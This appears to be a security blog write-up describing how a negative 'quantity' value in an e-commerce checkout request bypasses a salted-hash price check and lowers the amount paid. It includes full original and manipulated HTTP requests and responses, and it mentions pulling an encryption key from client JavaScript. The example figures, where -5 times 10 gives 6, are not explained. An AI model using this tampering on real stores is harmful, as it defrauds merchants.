This blog discusses the exploitation of a business logic error that allows users to manipulate prices and pay less for the products and services offered by the target company.

Target Background

The target of this analysis is a web application functioning as an e-commerce platform. It facilitates online purchases of various products and services by users.

Overview

The Target company previously disclosed a vulnerability report regarding a specific issue: “hackers were able to manipulate the payment amount during the checkout/order process.” To understand the application’s fix for this vulnerability, I attempted the same steps to examine the implemented validation mechanisms.

Reconnaissance

• Hosted on AWS
• Utilizes React for web application development
• Mobile application version is also available
• All application requests and responses are encrypted

Finding the Encryption Key

Upon inspecting the application traffic, I discovered that the JSON payloads in requests and responses were encrypted. To manipulate or interact with these encrypted payloads, I needed to locate the encryption and decryption keys.

During my analysis of the JavaScript files, I identified the encryption key, the encryption algorithm, the mode, and the initialization vector. Armed with this information, I used online encryption tools to encrypt the payloads.

Playing with fire🔥

I attempted to modify the price parameter in the request, but the application’s validation mechanism prevented any successful manipulation. The amount to be paid was validated against a salted hash that was associated with the purchase order.

Actual Request and Response

Request

POST /api/v1/checkout HTTP/2
Host: www.target.com
Cookie: blah...blah...blah...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.target.com/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers

{
  "saltedhash": "hashcode",
  "product_id": "121212",
  "price": "10",
  "quantity": "10",
  "address": "ABC city, ABC.",
  "zipcode": "123456"
}

Response

HTTP/1.1 200 OK 
Access-Control-Allow-Origin: * 
Content-Type: application/json; charset=utf-8 
Set-Cookie: blah...blah...blah...; Path=/; HttpOnly 
X-Frame-Options: SAMEORIGIN 
X-Content-Type-Options: nosniff 
X-XSS-Protection: 1; mode=block 
Referrer-Policy: strict-origin-when-cross-origin 
Connection: close 
Strict-Transport-Security: max-age=31536000; includeSubDomains

{
  "saltedhash": "hashcode",
  "product_id": "121212",
  "price": "10",
  "quantity": "10",
  "amount_to_be_paid": "100",
  "address": "ABC city, ABC.",
  "zipcode": "123456"
}

The above request represents a checkout request sent to the server to facilitate payment for a purchase order. To address the previously exploited price manipulation vulnerability, the developer implemented an additional parameter named saltedhash.

Bypass

During my exploration of the application flow and requests, I decided to conduct a deeper investigation of the checkout request. I noticed a parameter called quantity, which was responsible for creating orders based on the desired quantity specified by customers. I attempted to modify this value to a negative number.

Manipulated Request

POST /api/v1/checkout HTTP/2
Host: www.target.com
Cookie: blah...blah...blah...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.target.com/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers

{
  "saltedhash": "hashcode",
  "product_id": "121212",
  "price": "10",
  "quantity": "-5",
  "address": "ABC city, ABC.",
  "zipcode": "123456"
}

Upon sending the request with a negative value for the quantity parameter, the server responded by adjusting the amount to be paid accordingly. The lack of validation on the quantity parameter allowed negative values to be accepted. As a result, the backend calculation for the amount to be paid was based on the per-quantity price and the number of quantities in the cart.

Response

HTTP/1.1 200 OK 
Access-Control-Allow-Origin: * 
Content-Type: application/json; charset=utf-8 
Set-Cookie: blah...blah...blah...; Path=/; HttpOnly 
X-Frame-Options: SAMEORIGIN 
X-Content-Type-Options: nosniff 
X-XSS-Protection: 1; mode=block 
Referrer-Policy: strict-origin-when-cross-origin 
Connection: close 
Strict-Transport-Security: max-age=31536000; includeSubDomains

{
  "saltedhash": "hashcode",
  "product_id": "121212",
  "price": "10",
  "quantity": "-5",
  "amount_to_be_paid": "6",
  "address": "ABC city, ABC.",
  "zipcode": "123456"
}

By changing the quantity value to a negative number, it was possible to pay a reduced amount for the orders placed.

Thanks for reading!

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